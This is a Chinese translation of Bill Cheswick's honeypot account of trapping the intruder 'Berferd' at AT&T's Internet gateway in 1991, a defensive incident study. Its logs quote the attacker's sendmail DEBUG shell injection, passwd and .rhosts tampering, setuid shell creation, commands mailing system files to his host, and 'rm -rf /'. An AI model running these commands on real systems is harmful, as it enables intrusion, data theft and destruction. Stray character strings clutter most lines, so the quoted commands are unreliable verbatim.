在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
$ |6 A1 U+ z0 D( U- S7 \在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录2 r# n- R' n$ V M* C( C9 \' E
我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
% R8 |% O$ D/ A简介
0 S1 ?2 \; E+ e4 f, z5 m我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
- q* b: c- D) _; u) _事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。
( D( i8 K: S: s8 r大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
9 M% n$ b6 l" E( f! L" x我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
, q" {' s* q+ z2 m1 h8 {1 Y" kFTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”5 [2 d. m( b# j+ T8 f: S1 C# f
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。6 n( ?- d& u: A, m2 f
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:9 c; ~: r' T# {# l8 F8 G
exec 2>/dev/null # ensure that stderr doesn't appear
/ X- o# a& ~( Z8 \7 Ftrap "" 1
( x' f; A0 g) }7 g: [6 l/bin/echo+ k, W: g t S; }6 L$ @0 }
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
" y2 M, q1 d7 t7 G8 ~, bupasname=adm /bin/mail ches dangelo &
/ h6 z: L( H+ e2 ?9 H2 W# (notify calling machine's administrator for some machines...)8 s- V( x& N1 U0 ]0 J
# (finger the calling machine...)
. Y6 G& g; s2 {) @) 2>&1 | mail ches dangelo
8 w- i9 C/ q6 O q S/bin/echo "/tmp full"4 m" i# @3 }* S, R
sleep 5 # I love to make them wait....
1 {8 u& E6 _! j4 ~/bin/echo "/tmp full"
) L' G3 y( l% s9 b6 l# R1 Q/bin/echo "/tmp full"$ W) O% O6 Q% Q: t0 y, Z
/bin/echo5 L+ O1 p8 P3 U
sleep 60 # ... and simulating a busy machine is useful
- u7 q- X4 \$ [6 a/ f* ^我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。# K v, k( l+ {/ a
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。0 M- Q% q5 V* @ B" B% C2 I& \ v
Finger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。6 E5 M+ V8 {, a: f- \9 o8 U; q
Rlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。) s `" A+ N) Q3 _: }
上述很多探测器都使用figner命令来查明调用的机器和使用者。
j* d" l9 `# |* ?+ r& t当一个尝试显示为有不合法企图时,我就发出这样一条消息:
; X- Y) N" k4 u: N, ~! C& Rinetfans postmaster@sdsu.edu1 P+ n: _8 T0 K- `7 b
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file/ ?6 p! Y) e6 \4 u
from our FTP directory. The file is not important, but these probes
0 v4 E; w6 p, q" v. V' Xare sometimes performed from stolen accounts.( \4 t, O( a* C9 a& {8 T
Just thought you'd like to know.: {% {4 V* s* }4 h/ |6 `2 }: B
Bill Cheswick; P3 }% |2 {$ n/ g+ ?2 d8 W
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。6 f/ d( ]2 B- D# T
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。
. I d; E( Q! a6 j不友好的行动" o5 q' F' c. t$ A6 x! M! Z+ ~4 L
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
5 U6 Q. M7 a( }# [当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。- J+ k# q) j- N* ?) Z3 h6 Q% n
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP! \8 l6 y7 ]# p! I8 @
19:43:14 smtpd[27466]: -------> debug
: u0 j. c; T/ A9 x1 J; l k19:43:14 smtpd[27466]: DEBUG attempt5 C2 d3 E' z ~" i: t
19:43:14 smtpd[27466]: <--- 200 OK
& M/ m( U* W4 Y, W2 `/ S19:43:25 smtpd[27466]: -------> mail from:2 \" x( |5 ^2 \/ m: u
19:43:25 smtpd[27466]: <--- 503 Expecting HELO5 ~- e0 B* `' E- B
19:43:34 smtpd[27466]: -------> helo
7 J" I" f: H7 `' ]9 m( T' s1 I2 A19:43:34 smtpd[27466]: HELO from
$ @# r y% ?1 B/ Y! [6 X19:43:34 smtpd[27466]: <--- 250 inet.att.com9 ^1 G0 t& Y1 B- M) X8 A/ k
19:43:42 smtpd[27466]: -------> mail from:
' I" S O8 d% B/ I: d0 j+ ?19:43:42 smtpd[27466]: <--- 250 OK! N' E) y C( \3 F+ S) ~
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name v. x K: {4 P' ?( S9 V
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">5 u& r8 J/ @* ?9 H/ B" ~# u* d5 C
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"& u( ]) _1 e: d% A
19:44:45 smtpd[27466]: <--- 250 OK! q# v. A) \8 R
19:44:48 smtpd[27466]: -------> data
: ~& g: H4 `1 @0 d& o& w! A19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .2 p4 K) r! |3 M. e& G1 ?# C" ^
19:45:04 smtpd[27466]: <--- 250 OK" ~' ?* [& |/ t9 N; o; W6 N# C
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
- L: F# l0 |# p2 K2 w19:45:08 smtpd[27466]: -------> quit) {- d% d0 a# V- l" B
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
" F$ y* ^- g3 H! ]- x$ z) ~, D/ G19:45:08 smtpd[27466]: finished." I8 r/ N3 m1 I9 u( s
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:" K- M1 b- [! ]; u* ^3 ?& N
sed -e '1,/?$/'d | /bin/sh ; exit 0"3 ?& {( e. {0 K3 c
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
- R' ^/ R0 ]1 {1 W: x19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。4 K+ t5 O% Q2 K6 [- v ]9 `: ?
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。: ?1 i5 v: u5 L1 c+ @, {
接着的一个星期天我接到了从法国发来的一封信:0 [, p) a( `) N
To: root@research.att.com' q$ P4 |1 `1 g
Subject: intruder
- a# h3 l" n4 e* u- H5 YDate: Sun, 20 Jan 91 15:02:53 +0100
1 H0 s. f7 V0 s) }9 Q% k! f0 QI have just closed an account on my machine
, s6 P1 K" a$ U. V9 [% y- u1 uwhich has been broken by an intruder coming from embezzle.stanford.edu. He6 V2 x5 }1 {4 n1 C, s4 ~. E
(she) has left a file called passwd. The contents are:
* T6 _/ n& [. d5 F------------>
5 w& V* {; t9 AFrom root@research.att.com Tue Jan 15 18:49:13 1991
! V4 }% F+ g5 Z6 ^- i/ t* {Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);- t# @# c, H8 j' V- B. s
Tue, 15 Jan 91 18:49:12 -0800) f' m2 f* D! T/ ?( x. r% J {
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
" r0 q# c. i4 F* t0 ^ x: y, FFrom: root@research.att.com
1 i$ W( T/ \, oDate: Tue, 15 Jan 91 21:48 EST# k0 o1 D$ K$ T) R( _& \
To: adrian@embezzle.stanford.edu
0 d# u" M) ^4 B/ qRoot: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
' C& \; ~7 |# j! ^' L3 QDaemon: *:1:1:0000-Admin(0000):/:
% [" J/ P3 M: [: BBin: *:2:2:0000-Admin(0000):/bin:
8 `6 z& p) S1 o% ISys: *:3:3:0000-Admin(0000):/usr/v9/src:
, m! `4 e3 P, X* ^. ZAdm: *:4:4:0000-Admin(0000):/usr/adm:1 }2 Z$ K8 L5 V) B" j" s. C T
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
9 K; S; p* J) p1 \7 O1 M' YNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico1 \9 z. \) H$ o! }
Ftp: anonymous:71:14:file transfer:/:no soap
9 o4 J$ |6 l3 x4 x/ R+ tChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh' H1 } j9 w8 w1 L) s7 i
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh' C: v# {* ]7 ~: @" O" ?
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
) Y$ ]# z: Z; Y: X [" W' W4 ]Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
4 t6 l0 \ `2 @. x! ~& e/ t% HTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh+ T5 j- c/ m7 d5 N+ g
Status: R
/ d- q# z: m5 P/ @( c; l% Y------------Please let me know if you heard of him.
% E# w) v) |6 F' }+ c6 x陪伴Berferd的一个夜晚
% M$ m- O/ \4 ]9 ]1月20号,星期天晚上,我的终端报告有安全敏感事件。
_+ g! u: I6 D22:33 finger attempt on berferd
; G; m0 M7 r, j: `几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!
! |! I& l8 |$ l, x( r7 |22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd% X% @) |( P8 M
cp /bin/sh /tmp/shell6 Z# C3 s8 k' Q% O1 A+ w1 j0 `) y
chmod 4755 /tmp/shell
# W, o) ^! E( X! ~9 e: U连接同样来自EMBEZZLE.STANFORD.EDU。$ A0 \4 x5 I% T0 B( a% l! `9 J5 I
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。* M; F* k3 N' R5 y
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。8 n6 a _, S; E0 a: D- y
我已经有一个要求了,因为他已经持有了一份passwd。8 c. V, s j$ G9 w
决定一:ftp的passwd是一个真实的passwd。2 E! i# B) P, T0 Z6 Z. t1 ^& b
还有另外的两个:
9 J! p/ H0 A* Y$ u决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
3 S/ X: L8 V2 O, N0 N决定三:网关机器极慢。9 n$ @1 _! f! H* p/ ^$ T
因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?# E5 c: I9 h% @4 E6 ~
决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。 \9 Q, f7 w1 u4 @- i, I
这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:) l3 A W5 ~& n0 v8 a" q
RISC/os (inet)
: g5 n" T5 y' V. B* Y: Jlogin: b0 G" i5 ]! B! @& G/ x: X
RISC/os (UMIPS) 4.0 inet
2 u/ F$ t) R% a: x# h. OCopyright 1986, MIPS Computer Systems: K, [( H+ Q. V% c# i% e
All Rights Reserved: A7 h# a3 o8 s
Shell not found' T; K2 h. y3 F4 T
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:& e9 D. A* y% }% [* p) u1 A- d
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd' K0 P; w- ?1 G
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:4 d$ Z7 w! a$ i. X
22:45 talk adrian@embezzle.stand?Hford.edu
0 O. N1 g7 O f5 O$ [) f1 U7 e0 Wtalk adrian@embezzle.stanford.edu# R) G% a3 y u# h! t5 u8 Z
决定五:我们没有talk这个命令。
3 f7 n3 n0 ?1 C, i/ p他选择了berferd这个帐号:! C" [9 l- [, v; W- q6 Y
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU) c ]) |' }* B5 |( F i" x7 R
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU6 l( V1 d2 U1 K5 M2 D# ^
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
7 N% d% e# d$ O' G1 D; K" P22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)8 {& B* p8 B6 L
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU' h, k0 [! `- D. m$ }$ O0 E
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU7 A3 k9 }2 r7 Z" f$ l. i+ k
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
, w' c5 j8 w6 U22:57 (Added bfrd to the real password file.)
( D. A$ j, H$ n22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
: H* d2 e1 M; s, b8 U5 h22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* q$ t" l4 `0 r5 ?5 B: U1 y) W. F23:05 echo "36.92.0.205" >/dev/null
& _& M# e; Q* P7 [4 ~. `2 S" Secho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
+ A- p' e8 C2 j( a% T- f; B0 M1 X6 z5 f23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
! ^ g; S; ~# K. X0 j3 S) e0 U23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
) K5 Y$ l7 e; M6 o( T23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts5 @$ T r' F) g% s9 W8 D+ O( k
很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
7 Z# j) S$ V Q% }4 ]5 R这时他又有新的动作:
+ C) g r/ m" i8 ^$ W: k23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU% ^4 q7 }. j p' C A( M9 j
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU* i/ [ t& `. g1 U6 E& A
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
( @& }% y" t) }5 w: T B- B0 Mps -aux|mail adrian@embezzle.stanford.edu
6 R5 X3 T$ v3 R( s ^+ a! n9 B在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
2 s+ [5 [ ]: x5 L; Z5 d5 ~决定七:网关机器运行不稳定,时有不确定事件。3 @' n, p) p3 y9 L1 n/ X+ h; A1 ^0 }8 N, d
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
! }2 k% A! @. h- B ~; qecho "embezzle.stanford.edu adrian" >> /tmp/.rhosts
! R6 m9 F0 L+ n2 Eps -aux|mail adrian@embezzle.stanford.edu
9 k% Y, }- v( p5 X7 e* t. Tmail adrian@embezzle.stanford.edu < /etc/inetd.conf8 L6 q. r6 b' L! D% V
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
) ]9 B) u$ \5 a2 X0 S这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
; I b! v6 ]% u0 S' q: bJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server; `* R0 q" F2 d( ^
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.3 o9 ^6 y X8 a4 x( ~; ^* e5 C# J
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
8 Y3 i3 z- \) z$ e" EJan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.2 K- E: k. O7 A: J9 j& F1 i# b. x; }
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
7 ^0 f! H8 A! d! V8 G' p, `2 hJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.2 P( U/ t9 S1 u7 c" S. `
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M+ X* P; I, X. s5 _4 V- u3 y' f" B
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.- U9 X) a/ | \3 Q- N( M
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
3 I. Y# c1 @3 c' L. ~. R* oJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
6 z& i1 r5 j1 X4 N jrecognized (* =>'s unimplemented)./ Z# O: O2 m V1 @# D6 N
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.$ F& T6 }4 Z& n) s
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
1 g( D: d# W' _& Z6 ]9 qJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
# n' F# @, R4 s8 F7 l7 jJan 20 23:37:31 inet ftpd[14437]: Logout, status 0+ [- ?* Z2 P" O
Jan 20 23:37:31 inet inetd[116]: exit 14437
, l0 \: X! k7 }7 A/ rJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
+ A% c f% n- cJan 20 23:37:41 inet inetd[116]: exit 14454
. U6 U4 m9 s, Y23:38 finger attempt on berferd* d1 j$ U" h8 E. v7 ~8 N; j
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv+ ^3 ^* r9 }- a& y9 w5 n; x/ p
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b3 f" H) Q4 ~0 v
cp /bin/sh /usr/etc/fingerd! w; M3 q: @% d
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
1 G8 `& r, f3 ~, J9 _0 L23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
$ u! }) x8 `6 {! T/ k23:58 cp /bin/csh /usr/etc/fingerd
! F7 o" w! Z8 C" t$ O; I/ `我们模拟的机器上csh并不在/bin下,因此这个命令无效。/ c3 \/ S8 ^( b: J$ I- X
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd( e; S, T# e) }% V' @4 y6 ^
好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。7 g; u3 }8 j* n% d! n: @
00:14 passwd bfrt
: e) h0 O+ g) n- I/ ebfrt; w$ y- ~& C3 ~0 c7 E: B- e3 e1 }: |
bfrt
" t% N7 a) r# n: h8 P. L. `现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。: L5 q9 e. K6 O
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU, ?; _8 p" D+ l
00:17 echo "/bin/sh" > /tmp/Shell
; U9 j* ~. y# _chmod 755 /tmp/shell; Z% |5 G: f4 J4 ?9 Z
chmod 755 /tmp/Shell
[9 A3 z/ b+ i7 Y ]00:19 chmod 4755 /tmp/shell
5 M/ M0 F+ W! n0 Y00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
' A6 X* d" u" {- w: ]8 k00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
1 i$ G# M$ X# U1 d00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU' `2 Q" Z( T+ T7 z
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU* I: y6 L9 i. l8 Z" @$ d1 V! L0 M1 d
这时我已经很累了。, }, \4 D% a5 x$ W% J' s5 Z5 f
01:55 rm -rf /&
% s3 ~; m% K* S0 d' |喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。/ f% K0 ]" z) W4 P* D T! q8 [
他继续工作了几分钟,后来放弃:
( K, T& @5 Y2 q* K" E3 W07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU! |% V D0 W V- q! V1 ~3 n
07:14 rm -rf /&: Y- z* c- | W* I4 [9 [
07:17 finger attempt on berferd
0 e+ n$ x; s/ o# Z p5 s1 f07:19 /bin/rm -rf /&
+ s4 I, j( H6 A/ c/bin/rm -rf /&2 V9 o& ]8 M# ]
07:23 /bin/rm -rf /&
0 Z2 K |9 \' P$ `3 ?- _" R* H07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
* W# W0 }. b9 \7 O8 l, p09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) P# A/ Q, V q2 T' I: G: z" |" \$ \ |